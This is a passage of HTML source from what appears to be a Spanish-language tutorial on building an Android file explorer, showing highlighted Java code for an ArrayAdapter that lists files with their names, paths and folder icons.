&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Ese archivo no se tiene que explicar mucho solo son getters y setters que es el objeto mínimo para guardar información,uno para el nombre otro para el path y también para ver si es un directorio,este se podría usar desde la clase File pero nos ahorramos usar mas de una llamada.&lt;br /&gt;
&lt;br /&gt;
Bien ahora si el Adapter,lo explico en el codigo:&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;package&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;com&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;itimetux&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;timeexplorer&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;java.util.ArrayList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.content.Context&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.graphics.drawable.Drawable&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.view.LayoutInflater&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.view.View&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.view.ViewGroup&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.widget.ArrayAdapter&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.widget.ImageView&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.widget.TextView&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;class&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Adapter&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;extends&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;ArrayAdapter&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Archivo&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;private&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Context&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Contexto&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;private&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Id del resource (layout)&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;private&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;ArrayList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Archivo&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Archivos&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Todos los archivos&lt;/span&gt;

 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Adapter&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Context&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;context&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;ArrayList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Archivo&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;archivos&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;super&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;context&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;archivos&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;c&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;context&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Definimos las variables globales&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;id&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;Archivos&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;archivos&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;

 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Archivo&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;getArchivo&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Archivos&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Esta funcion regresa un Archivo basado en el&lt;/span&gt;
        &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// index que le pasemos&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;

 &lt;span style=&quot;color: #5c35cc; font-weight: bold;&quot;&gt;@Override&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;View&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;getView&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;position&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;View&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;convertView&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;ViewGroup&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;parent&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;View&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;layout&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;convertView&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;layout&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
   &lt;span style=&quot;color: black;&quot;&gt;LayoutInflater&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Linflated&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;LayoutInflater&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;c&lt;/span&gt;
     &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getSystemService&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Context&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;LAYOUT_INFLATER_SERVICE&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
   &lt;span style=&quot;color: black;&quot;&gt;layout&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Linflated&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;inflate&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Inflamos la layout&lt;/span&gt;
  &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;

  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;final&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Archivo&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Archivos&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;position&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Guardamos el archivo&lt;/span&gt;
              &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// actual en un objeto&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Vemos si no hay un error&lt;/span&gt;
   &lt;span style=&quot;color: black;&quot;&gt;TextView&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Name&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;TextView&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;layout&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;findViewById&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;R&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;textViewName&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// El&lt;/span&gt;
                    &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// nombre&lt;/span&gt;
   &lt;span style=&quot;color: black;&quot;&gt;TextView&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Path&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;TextView&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;layout&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;findViewById&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;R&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;textViewPath&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// El&lt;/span&gt;
                    &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// path&lt;/span&gt;
                    &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// o&lt;/span&gt;
                    &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// ruta&lt;/span&gt;
   &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;/*&lt;/span&gt;
&lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;    * Para el nombre y el path vemos si hay un error y si no es asi le&lt;/span&gt;
&lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;    * ponemos el texto&lt;/span&gt;
&lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;    */&lt;/span&gt;
   &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Name&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;Name&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;setText&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getName&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;());&lt;/span&gt;
   &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Path&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;Path&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;setText&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getPath&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;());&lt;/span&gt;
   &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Vemos si es un directorio&lt;/span&gt;
   &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;isDirectory&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;())&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;ImageView&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;folder&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;ImageView&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;layout&lt;/span&gt;
      &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;findViewById&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;R&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;imageViewIcon&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;Drawable&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;image&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getResources&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getDrawable&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;
      &lt;span style=&quot;color: black;&quot;&gt;R&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;drawable&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;generic256&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;folder&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;setImageDrawable&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;image&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Si es asi le ponemos el icono&lt;/span&gt;
            &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// de directorio&lt;/span&gt;
   &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
   &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(!&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;isDirectory&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;())&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Si no es directorio&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;ImageView&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;folder&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;ImageView&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;layout&lt;/span&gt;
